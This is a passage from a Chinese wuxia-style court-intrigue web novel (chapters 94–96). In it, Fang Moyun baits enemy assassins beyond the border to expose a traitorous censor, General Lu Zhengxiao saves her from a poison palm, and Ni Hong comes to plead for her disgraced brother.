“倪大人，我和麦大人奉命来查暴民勾结峑戎之事，据悉当时方参军还未进谷山县，你的证据中，她亦未牵涉其中，故而她不属于我等此次任务所牵扯之人，至于她是否触犯律法，你可与他上级官员汇报，亦可直接上折参他，与我等无关。”余震不咸不淡的说道。
麦诚依旧温和的笑了说道：“余大人说得是。”
倪尚深吸一口气，余震亦是做官多年，怎可让人狐假虎威，茉云则看向倪尚轻蔑的笑了：“倪大人是去找宋大人，还是上折子，悉听尊便，只怕不是不论是宋大人和朝廷中人，皆只那么想搭理你吧。”
麦诚撑着头看向茉云，那个传得神乎其神，阴森狠戾的方茉云，怎会是一个这般张狂莽撞、无理还叫嚣之人。
而此时若辰到了县衙门口，师爷在倪尚耳边说了，倪尚顿时起身像余震和麦诚行了礼，告知关若辰大人到了府衙，众人马上起身相迎。执礼深深吸了口气，所幸若辰及时赶到了。
若辰故意并未入大堂，直接到了堂内，若辰是朝廷三品大员，自然麦诚和余震依朝廷官职，还是要前来拜见的。
千山轻声唤走了倪尚，传令给他，让他速速释放该释放的从犯，并将方茉云赶离谷山县，倪尚则接过了千山的金牌令箭，回到了堂上，可不到一盏茶的功夫，却传来堂内的咆哮声。
“是我，都是我，我犯了罪，为什么打茉云……”
若辰顿时站起了身，余震和麦诚都看向了若辰，若辰最终咬牙坐了下来，不一会儿千山来报，倪尚持金牌令箭按律打了茉云二十棍。
余震看向缄默不语的若辰，他眼神分明露出了愤怒，这可是在这个温润君子眼中难得一见的神情。余震和麦诚皆没有言语，余震转头看了吴越一眼，这目前的局势可谓是乱成一团。
此时又听到了执礼的吼声：“倪大人，你依何律再打二十棍，请你清醒点，你可知她是何人。”
若辰顷刻间咬紧了牙，而麦诚依旧满脸的淡然，依他看来，此时则是敌方阵营内斗，自乱阵脚，正是有可乘之机的时候。
倪尚将茉云赶出了县衙，命她一日之内离开谷山县城，并下令将王胖子流放黔州，即刻执行。
余震和麦诚拜见完若辰，皆告退离去，倪尚双手奉着金牌令箭跪在了若辰面前，若辰眼神冷漠的喝着茶，看都没有看倪尚一眼。
“若辰哥，我也是按律处置。”
若辰冷冷的放下茶杯说道：“好一个公正严明的倪大人，若不是执礼挡着，你还要再打二十棍吧。”
执礼咬牙站在一旁，身上亦有伤，若不是他不顾一切以身夺棍，倪尚恨不得将茉云当庭杖毙。
“关大人，我们倪家……”
“你没有资格说倪家！”若辰顿时起身吼道。
倪尚诧异的抬头望向若辰，控诉道：“我所做一切皆为正啸哥的南关大业，我无怨无悔，亦无愧天地，此等粗俗恶人不配得正啸哥信任，关大人阅遍古今书卷，自古良臣名将身边，怎会有如此奸佞，贱妇。”
“我都不惜得与你浪费口舌，等着，他自会收拾你的！”若辰愤然走出了县衙。
“我本将心造明月……”倪尚咬牙吼道，凌河深深吸了口气看向倪尚。
若辰赶到了客栈之时，发现客栈已经人去楼空，倪尚居然以正啸令牌打了她，她定然是勃然大怒，负气离开。
执礼马上寻来了客栈掌柜，掌柜似也在收拾行李准备离开。
“掌柜，这楼上一行客人何时离开的？”
“一个时辰……前。”掌柜畏畏缩缩的说道。
“你为何如此慌张？”执礼看向掌柜说道。
“启禀各位贵人，我没有下毒，小本买卖，您问街上其他商户皆知，我小店一直都是童叟无欺，做实心买卖，怎么会在客官的吃食中下毒呢？那位为头的客官也说了，不怪小店，是有人要他们的命！”掌柜磕着头哭着说道。
若辰和执礼互看一眼，意识到事情好似往失控的方向发展。
“你没下毒，那你跑什么？”执礼看向掌柜说道。
“是那位为头的客官说，他们走了之后，让我带家人出去游玩一番，还叮嘱我不要回老家。”掌柜仓皇的说道。
若辰取出银两放在桌上说道：“按照她说的做吧。”
他们走出了客栈，若辰和执礼都一路很沉默，是谁下毒呢？先是放火，再是下毒，是要治茉云于死地？
“去查，茉云此刻在哪，还是已然出城。”若辰看向千山吸了口气说道。
“是！”
余震回到了房内，吴越伏低头忍着笑说道：“余大人，方茉云此次又要搞什么鬼？”
“我如何知晓！”余震没好气的低吼道。
话音未落，茉云便从窗外飞身而入，看向余震行礼道：“余大人吉祥。”
“少来这一套，有事说事，无事快滚。”余震顿时的望向茉云，可是见到她身上之斑斑血迹，无语抬了一下手。
吴越将上好的金创药递给了茉云：“兄弟，何以沦落至此。”
“这几年当属流年不利。”茉云眼中闪过一丝愤怒的说道。
余震冷冷的看向茉云挖苦的说道：“流年不利？你是错付吧？如此忠诚也没有换个厚待！”
茉云不但不恼火反而乐了说道：“诶，余兄到底是娶得娇妻，几年光景便得两麟儿，这日子如糖似蜜，人也有了烟火气，还会说起这些家长里短的闲言闲语，不错不错。”
吴越他们都忍着笑，他们头素来严肃一副铁面，见上官都没有笑容，言辞多冷刻，可每次茉云调侃得他没半点办法。
余震压根懒得理茉云，直接开门见山问道：“此案到底在搞什么鬼！”
“我不知道啊。”
余震抬手指着茉云这斑斑血迹说道：“那你瞎折腾什么？”
“准备配合对手将计就计。”茉云眼神顿时闪出了狠戾说道，并将自己计划告知了余震。
余震皱眉看向茉云，吴越愣了半刻看向茉云，最终余震深吸一口气说道：“你确定？”
“确定！没有哪个高超的箭手不想一箭双雕。”
“我是说你确定用你自己？”
“我少时跟关外部落的猎人混过，最厉害的猎人都是用自己做诱饵的。”茉云淡然的说道。
“搏上自己小命？”
茉云愣了半刻看向余震笑了说道：“到底是近朱者赤近墨者黑，嫂夫人对余兄真是救赎，我一直以为余兄希望我死八百回了。”
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吴越顿时又伏低头忍着笑，不过余震的夫人着实和他性格极为互补，是个极为温良仁慈的女子。
“行了，不用聊了，若真如你所说，他们行迹败露，我定然会擒获他们一干人，可若没有，我亦不会助你分毫。”
“一言为定！”茉云转身拍拍吴越的肩膀说道，“看，我时常怀念混迹察院的日子，还是兄弟们好，从不掉链子。”
“比不得将军，威震八方，气度不凡，众人景仰。”吴越满脸笑意的故意说道。
茉云没好气的飞身走了，余震看向茉云的背影深深吸了口气，若真搭上了方茉云的小命，自己日后如何跟卢正啸交待，可是终究没法，方茉云此人从不给人选择的余地。
而若辰和执礼都在焦急之中，待一个时辰后，千山飞身而来，气还未喘匀。
“她是否出城？”若辰抬眉望向千山便问道。
“大事不好，她出城了，北城门而出……”千山喘着气说道。
“为何？”执礼顿了一下忽然问道，“为何走北城门。”
“守城门之人说，她是追着押送王胖子流放的衙役出县城的，素来县城衙役押送人员去黔州，会走一段关外路，能短个七、八日路程。”
“什么！”若辰和执礼顿时站了起来说道，“她去了关外！”
千山看向他们点点头，众人皆知方茉云在关外杀手悬红，仅次于卢正啸和元帅，她只身去关外与送死无异。
“她不可能如此愚蠢，将一众好友性命拱手送给峑戎……”执礼有些惊慌失措的分析道，“可她自视甚高，若冲动之时什么都能干得出来。”
“千山，速速赶往南关，将此事告知你少主。”
“是！”千山转身飞身就上马了。
“可钦差就要来了。”执礼深吸一口气看向若辰说。
“孰轻孰重，他自有判断。”
“从北边出关，路经……”执礼想着马上拿起书信说道：“我速速写信给鹏飞和白岩，让他们带人增援。”
若辰点了一下头，他脑中顿时一团浆糊，可是他努力清理自己的思绪，此时从头到尾都透着邪乎，方茉云定然又是瞒着他们。
夜幕降临之时，正啸在营帐听着东山汇报军务，千山几乎是掉下马来冲进了营帐。
谢青惊讶的看向千山说道：“怎就从谷山赶回来了？”
“少主，倪尚拿着您的金牌令箭将方茉云打了二十棍。”千山喘着粗气说道。
所有人都望向千山，即便不知道事情始末，方茉云岂是能随便被打之人。
“茉云回到客栈，结果饭食被下毒，方茉云说有人要害他们，就带着众人，离开了谷山县，她追着王胖子的流放队伍从北边出县城，去了关外。”千山看向正啸说道。
正啸波澜不惊的脸上，顷刻神情顿变，抬目看向千山。
“你说什么？方茉云去了关外？”谢青吃惊的说道。
千山点点头看向谢青：“因为谷山县差役押送流放人员去黔州，按惯例会走一段近路，从关外走能减少七八日路程，尚未开战，常人走关外并无大碍。”
“她不可能如此冲动，还带着她一众友人。”谢青想着望向正啸说道。
“她……定有缘由，方大人，素来心思缜密，即便她要出关，她也绝不会随意泄露行踪，如今众人皆知，除非她是故意的。”东山马上看向正啸说道。
正啸顿时想到了什么，顷刻间飞身出营喊道：“鹿里你和谢青接我军令，领诸将坐镇南关，千山，万莫，沧海跟我来！”
“是。”众将接令道。
正啸骑马飞驰出关，雪花飘落，寒入心脾，他一路往西南方向疾驰，可这冰天雪地，只有风在耳边呼啸，自己要去往何处才能寻到她……
94.软肋
寒风呼啸，夜空寂静，大地似乎在雪的包裹下沉寂，而正啸却感觉自己在被恐慌吞噬一般。
他们四人一行在关外，疯狂的寻找，寻到第二日夜里，终于看见了受伤的鹏飞一队人马，王胖子惊魂未定的瘫坐地上。
“师兄，你来了，是峑戎的杀手。”鹏飞马上行礼说道，正啸一把扶起了鹏飞，可是队中不见茉云。
“将军！”青岚不顾伤势的看着正啸便喊道，“茉云引开了贼首，往西北而去。她说，他们就是要杀她。”
正啸皱眉看向青岚，此时王胖子也挣扎了起来说道：“那坏蛋带着绿色的面具，好吓人。”
“将军，伤口上有毒，是毒戎！”沧海蹲下查看了伤员，看向正啸说道。
此时白岩带着的人亦找到了此处，看见这乱糟糟情形还没缓过神。
“白岩，护送鹏飞和他们先回南关！”正啸顿时飞身上马，说完快马一鞭疾驰而去，沧海和千山，万莫紧随其后。
“师兄，二师兄可在关外如此闯？”白岩看向鹏飞说道。
鹏飞亦愣了半晌说道：“是啊，那咱去追回来？”
“可是军令是让我等回南关！”白岩吸了口气看着说道。
“那咱还是回南关等他，违抗军令，师兄等会儿砍了我们！”鹏飞想着大手一挥道：“就峑戎那些宵小，不能拿咱二师兄如何。”
白岩亦觉得有理点点头，青岚本是紧张的张望着，不由得叹了口气，难怪茉云总说，大老鹰带着一群傻雕，却飞得很开心。
正啸一路驰骋而去，他大抵明白茉云是为何了，她就是知道此事从一开始便有诈，她要用自己引来峑戎，做实此事乃峑戎所为，为自己开脱阴谋一说。
暮晚长风，飞雪落地，天地苍茫，他却到处寻不到自己想找的人，心急如焚，担忧和惶恐从未像此刻这般卷席自己。
“烈儿，带我去找方茉云。”正啸俯身摸了一下马脖子说道，“她定然亦和她的马儿在一起，带我去找他们。”
顿时烈儿在寒夜中一声嘶吼，在飞雪中奔腾而去，沧海等人一跟着，此时走到了遥山脚下，烈儿忽然又冲天嘶喊，这个时候山脚传来了茉云烈马的喊声。
正啸立刻带着烈儿寻着声音，寻到了山脚处，顿时茉云的马着急腾着马蹄，正啸飞身下马跑来，就看见茉云倒在雪地之中。
“茉云！”他一把抱起茉云，沧海他们都下马跟了过来。
他伸手摸茉云的脉搏，才发现茉云狠狠拽着另外一人，那人倒在血泊中。
沧海翻过那人身躯深吸一口气：“是毒戎！她……定是在此和毒魔狠狠打了一仗。”
“还有脉搏！”正啸慌张的抱起了茉云说，她的脉搏已经很虚弱，好似经脉都无法走动一般，“来不及回营，先寻个暖和的人家给她疗伤。”
“是！”
正啸抱着茉云飞身上马，他一边骑马疾驰，一边紧紧将她抱在怀里取暖，又一次感受到她在怀里慢慢失了温度的感觉，好似自己的灵魂亦渐渐消散一般。
“将军，那边有几处人家！”万莫指着微弱的光亮说道。
他们在风雪中往山脚的人家行去，到达之时，山中人家先是惊愕，可是知道了他们来意，立刻让正啸抱着茉云，进了他们旁屋，山中老伯还给他们生火端来了大火盆。
正啸直接解开了茉云的外衣，顿时看见了茉云内里白衣上有一血掌印，她果然是中了毒戎一掌，峑戎四将中，毒戎最为阴狠，自小就用毒练掌，他的毒阵和寒毒掌皆阴寒无比。
顷刻间，正啸没有丝毫犹豫，一掌打在茉云背上，在以内力疯狂吸着茉云体内的毒掌之力。
“少主！”千山吃惊的说道。
万莫和沧海亦旋即出掌打在正啸背上，以内力助正啸，千山亦知道正啸绝不会放弃救茉云，只得出掌相助，半个时辰的时间，正啸将寒毒全部吸入体内，正啸收掌给茉云探脉，她的经脉终于打通，可是她依旧全身变冷。
“方茉云。”正啸轻轻喊茉云道，茉云依旧没有任何反应，全身冰冷。
正啸深吸一口气，忽然一把将茉云抱入怀，用自己的披风包着她，抱她抱得紧紧的，用自己的体温为其取暖。
千山亦愣了一下，然后拉着万莫到门外守着，沧海也走了出去，他和万莫去问山里人，借了被子又直接踢开门，送去房里，千山看着顿时无语，亦没有说什么。
直到一个时辰之后，茉云渐渐恢复了温度，脉搏也慢慢正常了，正啸才长长的松了口气，将她平放到床上，给她盖好被子。看向她恢复了血气的脸，他伸出了手想给她拨开乱发，最终他停住了，良久之后抽回了手，自己也累得趴在床边昏睡了过去。
东方破晓，暖阳初升，若辰和执礼带着人马，从马蹄印上寻了过来。
“终于找到了你们，少主呢？找到方茉云了？”执礼马上冲了进来说道。
“茉云受了重伤，将军守着！”沧海指着房内说道。
若辰松了口气看向沧海：“茉云如何？”
“没事了，将军救了他。”沧海说道。
“她如何受的重伤？”
“和毒戎打了一仗！”沧海指着旁边绑着的毒戎说道。
“毒戎？”执礼吃惊的看着，毒戎亲自来了？沧海咬着牙点点头，毒戎所设的毒阵，手上不知道沾了多少边疆战士的血。
若辰轻轻推门而入，看见正啸就趴在床边睡着了，他深吸一口气，门响声惊醒了正啸，正啸支撑着起身转头看见是若辰。
“还好吗？”
正啸的眼神顷刻间恢复了冷峻，抽过了披风说道：“万莫守在此处，执礼和其余人随我速回军营。”
“是！”千山他们抱拳说道。
“万一她醒来……？”万莫望向正啸说道。
正啸冷冷的穿上了披风走出房间说：“你就说你在山下捡了她的小命！”
“啊？”
“不要提起我，此乃军令！”
“是！”万莫马上说道，他为难的想着挠挠头。
“她醒来，此事干完了，下一步必然要去找倪尚算账！”若辰指着说道，“你指望万莫押住她？”
正啸皱眉看向沧海说道“沧海，你也留在此，她若醒来，立刻和万莫将她绑来南关，不管她说什么废话。”
“是！”沧海亦马上抱拳说道。
正啸再为未回头看一眼，飞身上马疾驰而去，他的烈马踏雪而去之时，茉佳迷迷糊糊睁开了眼睛，突然她觉得自己眼眶微润，自己是怎么了……
若辰将银两留给了沧海和万莫，
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执礼则去跟山里人家道了谢，并亦留下了银两。
众人随着正啸一路往军营疾驰而去，一路片刻未停，千山担忧的望向正啸，不知他伤势是否承受得了，他还身上有毒戎的寒毒掌之毒。
而正啸却头也不回的往南关疾驰而去，她还未醒，纵使心中有再多的牵挂，他也不能回头，他必须在钦差来之前赶往军营，他不可以再一次让朝中钦差撞见自己擅离军营，幼时爷爷曾告诉自己，自己不可以有软肋，若有便不可将软肋置于众人前……
所幸赶到了军营之时，钦差还未到，而一个时辰之后，钦差就驾临了军营，正啸亲自带着钦差胡大人视察了整个军营，若辰再陪他去城里接风饮酒，胡大人显得甚为满意。
钦差刚走出军营，正啸便转身疾步走回营帐，回到营帐之中，他捂着胸口，笔直就失去知觉般倒了下去。
“少主！”千山立刻冲上来扶住他。
“少主，这是怎么了？”执礼错愕的上前亦扶起正啸。
“快去请白神医，他以内力吸走了方茉云体内的寒毒掌之毒。”千山低声吼道，他也明白正啸如此强撑，到了营帐中才倒，定是不想影响军心。
“我去寻！”谢青马上转身说道，执礼和千山马上将正啸扶到床榻之上。
白神医马上赶来给正啸探脉：“他体内为何这么重的寒毒。”
千山本欲将事情的始末说出，可是自己亦是体力不支，一口血吐出倒了下来。
白神医又马上起身为千山探脉：“怎得都如此消耗了内力？”
晚上若辰听闻正啸倒下，安顿好胡大人，让何友陪着，自己马上赶回了军营，此时千山醒来，将事情的始末原委都说了出来，众人顿时愣住了。
“原来如此，难怪他体内如此重的寒毒。”白神医一边收针一边叹息道。
若辰深深吸了口气望向正啸，良久之后，淡然的笑了，自己千万次的想问，可知道他都会否认……
执礼和谢青走出营帐，执礼倒是显得异常平淡，谢青却笑了看向执礼：“没想到你这般平静？”
“老太君曾说过，让少主有血有肉的活着挺好，他两的事，我等不要插手……”执礼抬头望向星空说道，“可毒戎为何会突然出现在关外此处？不论如何抓了他，必能军心大振，而且此次危机总算缓解了。”
翌日清晨，正啸才醒了过来，白神医正撤着针无语的看向正啸：“知道这寒毒掌的厉害吧？我暂时亦只能压制。”
“什么？不能解毒？”执礼吃惊的望向白神医说道。
“要毒戎的解药才可全解。”
“能压制多久！”若辰看向白神医的说道
“十余年没问题吧！”
“那便够了。”正啸捂着胸口起身说道。
“卢正啸！”若辰没好气的望向他说道。
“未必十年，我还灭不了峑戎，拿不到解药，那不活也罢！”正啸亦没好气的说道，“还有此事不要让人知道，特别是家里。”
“此事指哪件事啊？你中毒的事，还是方茉云的事啊。”若辰整理着衣袖不咸不淡的看向正啸说道。
正啸顿时没好气瞪向若辰，执礼他们都伏低头忍着笑。
“行，兄弟一场，替你保密。”若辰嘴角上扬看向正啸说道。
95.利剑
“关若辰，你要记得，这种话再说一次，也许就能简简单单夺去她的一生，甚至性命。”正啸望向若辰口气严厉的说道。
若辰望向正啸那严峻的眼神，叹息了一口气，他亦明白正啸的意思。
此时谢青着急的走入了营帐，看见正啸醒来了，却欲言又止，不想打扰他养伤。
“怎么了，说！”正啸不容分说的说道。
“刚收到京城飞鸽传书的急信，最新消息察院邓大人请旨赶来了谷山县。”
众人都不禁抬起头看向谢青，邓大人亲自出京，那是多大的案子。
“此事，是否要派人去谷山县……”谢青深吸一口气说道。
“不用，静观其变吧。”正啸靠着枕头吸了口气说道。
“马车已经在将茉云接回来的路上，到时候见到她自然一切见分晓。”若辰看向正啸想着说道。
“哼，你指望她跟你鸡同鸭讲。”正啸没好气的说道。
“扑哧”众人顿时忍俊不禁，确实如此，按照以往方茉云的习性，绝不会乖乖的将事情始末相告。
“鹏飞他们呢？”正啸想着望向若辰问道。
“我将他们众人都安排在了城里我府邸，亦不会有闪失，等茉云来了，亦让她先在府里养伤吧，别出来闹腾了。”若辰想着又乐了说道，“她昔日已经将余震得罪够了，别等下当着邓大人的面将倪尚一通暴打……”
正啸无奈的叹口气，闭目养神整理着思绪，良久之后睁开眼，眼神亦恢复了冷峻下令道：“传令下去，毒戎伏法，唯恐峑戎报复，各关卡戒严，严防峑戎犯境危害民众。”
“是！”
“谷山县之事，该如何如何，无论牵扯谁，绝不徇私枉法。”
“是！”
正啸伸手接过白神医端来的药，一饮而尽，该如何如何吧，自己前夜好似被吓丢了魂似的，此刻只得随她了……
两日后，茉云亦被送达到了城里，若辰的府邸养伤，而察院吴越大人亦来了，他要传人证王胖子到案，由于茉云重伤，思淼替她到案做证。
吴越亦带人亲自查看确认了毒戎伏法，取下了他的信印为证。但他却从始到终案件什么也没有说。王胖子一直惴惴不安，他最害怕进公门了，何况是经历了此遭。
茉云支撑着被青岚扶了出来，王胖子马上说道：“你出来干嘛？”
“王胖子，抬头看看这天地，是什么？”
王胖子抬头看向暖阳和天空，然后不解的看向茉云。
“那是朗朗乾坤。”茉云虚弱的看向王胖子笑了说道，“只要心存浩然正气，至诚至真，无名小辈，亦有荣光。”
王胖子愣了半刻看向茉云，众人望向她，她即便在气短人虚之时，脊梁骨仍挺得如此板正。
“幼时你说，若不是要孝顺父母，就随我闯荡江湖。江湖虽大，可只要心存侠气，便可剑指天涯，无所畏惧。”茉云立于冬日暖阳之下看向王胖子说道，“去吧。”
“好！”王胖子顿时握紧了拳头说道，“我要为那些受灾的乡亲们讨个公道。”
茉云顿时笑了微微点了一下头，王胖子等人随着吴越去往谷山县，吴越只在走之前，唯独敬佩的看了茉云一眼。
他们走之后，茉云转身冷冷瞪向何友，瞪得他伏低头不敢说话。
若辰则一脸风轻云淡的喝着茶，看向眼神狠戾的茉云顷刻温润的笑了说道：“茶否？上好的茶，茶点一会儿就来？”
茉云停了半晌，瞬间态度好了大半坐下便问：“什么茶点。”
这时小厮端了上好的茶点上前，茉云开心的拿了起来咬着，然后伸手拿着塞到了二花和万莫手中:“吃，有钱人家的东西不吃白不吃。”
“桂花糕，好吃！”二花开心的吃着，顷刻间对王胖子被带走焦虑少了几分。
若辰端着茶杯望向茉云说：“你当属鬼门关前走一遭。”
“我好得很。”茉云随意的又拿起一个梨花酥，开心的塞嘴里，觉得味道极好，拿起一个转身丢给了万莫一个，万莫开心的接过来咬着。
“冰天雪地，若不是卢正啸不顾一切的找你，你小命就没了。”
“少主下了军令，不能说。”万莫咬着一半梨花酥，呆愣的看向若辰说道。
“我又不是军部的，他能斩了我？”若辰温润的笑了说道。
青岚愣了半刻望向茉云，难怪她受伤这么重，原来是鬼门关前走了一遭，是卢正啸不顾一切的找了她……
茉云一脸的惊慌失措看向若辰说道：“完了，要不我回中州吧。”
“为何？”
“那家伙若来了，不揍我一顿狠的才怪？”茉云顿时就起身，一副要收拾东西打算跑路的姿态。
“那你放心，那家伙几乎舍了半条命救你，伤得比你还重……”若辰望向茉云淡然说，最终亦没有说出正啸中毒之事。
“那还好。”茉云又坐了下来松了口气说道，“有惊无险。”
“你是不是人啊，你可知何谓良心？”何友顿时忍无可忍的瞪向茉云骂道。
“这事是谁惹出来的？”茉云顿时没好气的回怼道：“我方茉云居然沦落至此，一个专门给人挖坑之人，居然到要拿命帮人把坑填了！”
顿时众人忍俊不禁，青岚却轻吸一口气看向茉云，这便是她的选择。
何友想着忍不住试探的问道：“茉云，察院何大人居然亲自来了谷山县，你可知为何？”
“是吗？难道何大人也甚为关心那海棠弟弟？”茉云吃惊的看向何友说道。
何友忿然看向若辰：“正啸哥果然说得没错，她纯属鸡同鸭讲。”
若辰被逗笑了继续喝着茶，自幼他曾想过卢正啸这般钢铁的心会为谁而动……
阳关渐暖，冰雪消融，好似为即将到来的生机盎然蕴藏力量。
谷山县的消息终于传出来了，察院麦大人通敌罪证确凿，他像峑戎报信，说方茉云出了关，被余震和其属下逮了个正着，故而何大人亲自赶来查证且拿下，将其押送回京处置。
吴越奉命来了一趟南关军营，将此案始末告知了正啸等人。
原来谷山县县衙的县丞凌河，是此案的始作俑者。炸毁堤坝酿成大水，鼓动民众造反，然后伪造证据说成是暗通峑戎。皆是凌河在背后操持，而他最终事发之时，交代了所有案情，然后自裁以谢罪了。
倪尚整个人都陷入了错愕之中，原来凌河对自己的耿耿忠心，不过是一场骗局，他们就是利用自己，跟正啸泼脏水，甚至要栽赃南境之事皆是正啸自导自演。
若不是方茉云以自己做饵，让麦诚想利用此事一箭双雕，杀了方茉云，引来了毒戎，暴露了他自己，那谷山县之事，他们定是百口莫辩，那对南境灭峑戎之大业，便是致命的打击。
邓大人押解了麦诚回京，这个太师费劲心思安插入察院之人，又被连根拔起。
“方茉云怎一开始便知这阴谋？”
“她不知，来见余大人之前，她亦说不知原委，但是将计就计，一通乱搅，
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亦是她断案的拿手好戏。螳螂捕蝉，黄雀在后，而黄雀身后还有个大魔王。”吴越笑着说道，众人想着忍俊不禁。
“辛苦。”执礼当场便向吴越行了大礼笑着说道，“可在下多问一句，余震大人何时也如此配合方茉云？”
“昔日方大人化名狂浪在察院之时，常和余大人联合办案，当时狂浪在察院何其得势，她曾要求余大人，若她起身整理头发之时，就代表需要他立刻接应，此次我们堂上遇见方大人第一眼，她便起身整理了头发。”吴越想着便乐了说道，“余大人当时之表情……恨不得当场自裁，怎得又碰见那魔鬼。”
众人顿时忍俊不禁，余震何其刚烈，坚毅之人，朝中都知其不好惹。
“余震现在应该也不会有什么短让方茉云拿捏了啊？”何友亦笑了看向余震说道。
“何大人说，此人拿捏的不过是余震大人出生寒门，却想报销朝廷的赤子之心。”吴越看向他们笑着说道，“就像当年在京城，狂浪曾跟余大人喝酒说，咱是没有卢正啸，关若辰兄弟这样的出生，可是咱自由，可以干很多他们没法干的事，余大人说那你干的岂止是他们不会干的？是个人都不会干你这等没底线之事！”
“扑哧”顿时众人再也隐忍不住，哄堂大笑。
“卢将军和关大人保重，属下禀报完实情，要回京复命了。”吴越抱拳行礼说道。
“有劳，执礼你替我送吴大人。”正啸起身说道，他的伤势一看便知还在修养，唇色都未透出血色。
“对了，将军，邓大人说分身乏术，察院亦出了叛徒，倪尚就交由您自行处置了。”吴越临走之时说道。
正啸点了一下头，亦知道他们这已经是在朝廷压力下，给足了自己颜面。
送走了吴越之后，何友几次欲言又止，直到晚膳之时他还是忍不住。
“正啸哥，倪尚也是毫不知情，被人诓骗……”
“说这番阴谋他不知情那是定然，可是若说此案他县城治下良民冤枉不冤枉，他定然知晓？可他自以为是，觉得这是对南境大业的牺牲。”执礼看向何友叹息着说道。
“正啸哥，打算如何处置此事？”
“你问他？”若辰笑了说道，“倪尚用他的令箭，打了方茉云二十棍，那丫头现在伤好了，可以上山打虎一般，你要不去问问茉云，看海棠弟弟此番是否死定了……”
顿时众人亦忍俊不禁，正啸一脸无语懒得搭理他们，但是心中却松了口气，那丫头亦是一副钢筋铁骨，应该是无恙了！
这日夜里，寒风悄然，青岚见到茉云在月下练剑，看向她的剑法，不知为何总觉越发坚定而凌冽了。
“夜里凉，早些休息。”
“还未睡？”茉云笑着收剑用袖子擦着汗调侃说道，“想你的许秀才了？”
青岚无语的坐下说道：“你的大老鹰，快十日了，都未来看一眼，我还以为人待你是有心的？”
“什么叫我的大老鹰？”
青岚笑笑看向茉云，伸手递过自己的手绢，可是看向茉云的眼神她愣了半刻，自己第一次在茉云眼神中见到了迟疑和伤……
“他怎么可能是我的，他都不是他自己的。”茉云淡然的说道。
“那他是谁的？”
“他是朝廷的，亦是天下的一把剑，这把剑没有完成他的使命前，本该没有感觉没有欲望，就是一把冰冷且无坚不摧的剑。”
茉云眼神却流露出一丝迷离，不论那一刻的温暖多么记忆犹新，自己都只能深埋……
96.热闹
春到人间草木知，茉云蹲在石桌旁看向泥土中冒出的微微绿芽，不知为何心情豁然开朗。这一生自己所有的机遇，不就是随其自然，结果掉进坑里，所幸绝处逢生，最后聚散自由，该如何如何吧！
这时院门口传来了一声大喊打破了清晨的寂静。
“茉云，青岚，二花，我回来了。”
茉云起身转头看向王胖子从麻石阶梯上蹦了下来，满身的肥肉都为之一震的样子，顿时乐了。
“夫君！”二花顿时开心的从屋里冲了出来，青岚也笑着迎了出来。
“诶，二花，我告诉你，在公堂之上，我为二狗和乡亲仗义执言，连那个大官都说我是良民典范。”王胖子满脸骄傲的大手挥舞着，可是说起二狗他又不禁瞪圆了眼睛，忍着眼眶中透出的泪水不留下来。
二花看着王胖子轻轻拍拍他的大肚子安抚他，茉云则眼中又透过一丝寒意……
而此时关若辰在府衙回着公文，突然有人来报，说是景大人携夫人来访。
何友在旁抬头疑惑的说道：“景大人，哥哥和朝中哪位景大人交好？”
“随我去迎吧。”若辰温润得笑了说道，“这下热闹了。”
他们走了出去，却看见是倪虹和他的夫婿到访，景昇虽然是异姓王景王爷府的庶出，可他亦是苏杭有名的才子。
“倪虹姐。”何友顿时便上前行了大礼。
“何友。”倪虹笑了说道，“若辰。”
若辰依旧是温润有礼的按照朝廷礼制行了礼说道：“有失远迎。”
倪虹看向若晨，他此番行礼虽然显得庄重，可亦失了自小相识的亲近。
“可劳关大人引荐通传，我们夫妇想见一下镇南大将军，为我弟求情。”倪虹亦回礼道。
何友本欲上前说，这还要通传什么，自己速带他们去，却被若辰一把拉住说道：“好，我马上派人修书送往南关，何友，为景大人夫妇在城中寻一处雅致之处。”
“关大人客气了，我夫君友人在城中有一处雅苑，可借住，就不劳费心安顿了。”倪虹亦客气的说道。
“好。”若辰看向景昇说道，“景大人，我兄弟二人与贵夫人自幼于京城相识，贵夫人还曾经于我弟有救命之恩，故而若您愿往，可否容我兄弟二人在迎宾楼设晚宴，给二位接风，以尽地主之谊。”
“您客气了，我夫妇定是欣然前往。”景昇亦温和的笑了说道。
倪虹才吸了口气温和的笑了，自己是心急了，可若辰依旧是温润君子，事事周全为人考虑，就连自己夫婿的颜面，他亦在努力保全。
“素闻关大人才子之名，景昇昔日入京城国子监学习，便想登门拜访，可当日关大人去往老家守孝，憾未相见，曾有幸读得大人诗作，心中好生敬仰，我江南习文之人，素来以扇送文友，我夫妇造访此处略有唐突，还望关大人莫弃。”景昇谦逊有礼的双手奉上了一支精致的礼盒。
若辰立即以文人之礼接过了礼盒道谢，倪虹都有些诧异的看向自己夫君，自己心急如焚的赶来，匆忙得很，没想到他如此周全。
两人去往望山别院修整，若辰看向礼盒微微笑了说道：“老天素来厚待良善之人，倪虹觅得好姻缘，甚好。”
“祝枝山的折扇？如此贵重，哥那你得回什么礼？”何友打开折扇笑了说道。
“这倒不是最难之事，只怕是他们所求之事，我爱莫能助啊。”
“哥，难道你和正啸哥，不救倪尚吗？就让他一生志向，因此案被罢官付诸一……”
“对，你就知道找你哥我喋喋不休，你怎得不去问卢正啸？”若辰打断何友说道。
“我！”何友气愤地转身拂袖走了。
晚上若辰和何友亲自设宴宽待了景昇和倪虹，若辰和景昇都是才识渊博之人，两人一见如故，晚宴后，恰逢人回报，说正啸回复，说军中要务在身，晚三日再说。
倪虹深吸一口气，眼中皆是失望，她只是想救自己在这世上唯一的亲人，若辰无语的皱眉看了何友一眼，居然让回人当着倪虹回话，可何友亦压根没有想到正啸会拒绝。
景昇温和的牵着倪虹的手上了马车，回了望山别院。
若辰路上忍不住责备何友：“你此举让我没得半分转圜余地？”
“我怎知正啸哥如此绝情？”
“绝情？他素来直爽，他最近确实军务缠身，而且他此举亦是为了倪虹能过好以后的日子。”
何友深吸一口气说道：“望倪虹姐能体谅？”
“她自幼便不能体谅……”若辰叹了一口气说道，说着双眉微蹙走入内堂，看见茉云正在指导王胖子练几招，自保。
王胖子显然天赋不在于此，众人看着茉云那不想活的表情，忍俊不禁，若辰亦顷刻被逗笑了，他将从迎宾酒楼打包的吃食放下。
茉云看了一眼若辰手上拿着的礼盒，折扇的礼盒上落着苏杭有名的古月阁的款。
“海棠姐姐来救海棠弟弟了？”
若辰转身看向茉云笑了说道：“你到底如何能事事知晓？”
茉云抬手指了一下礼盒上的落款望向若辰，面露不悦：“关大人办不到之事，居然也敢收礼。”
若辰丝毫不怒笑了说道：“此乃文人雅赠，我亦会回礼，至于他们夫妇所求之事……人是来求卢正啸的，与我何干？”
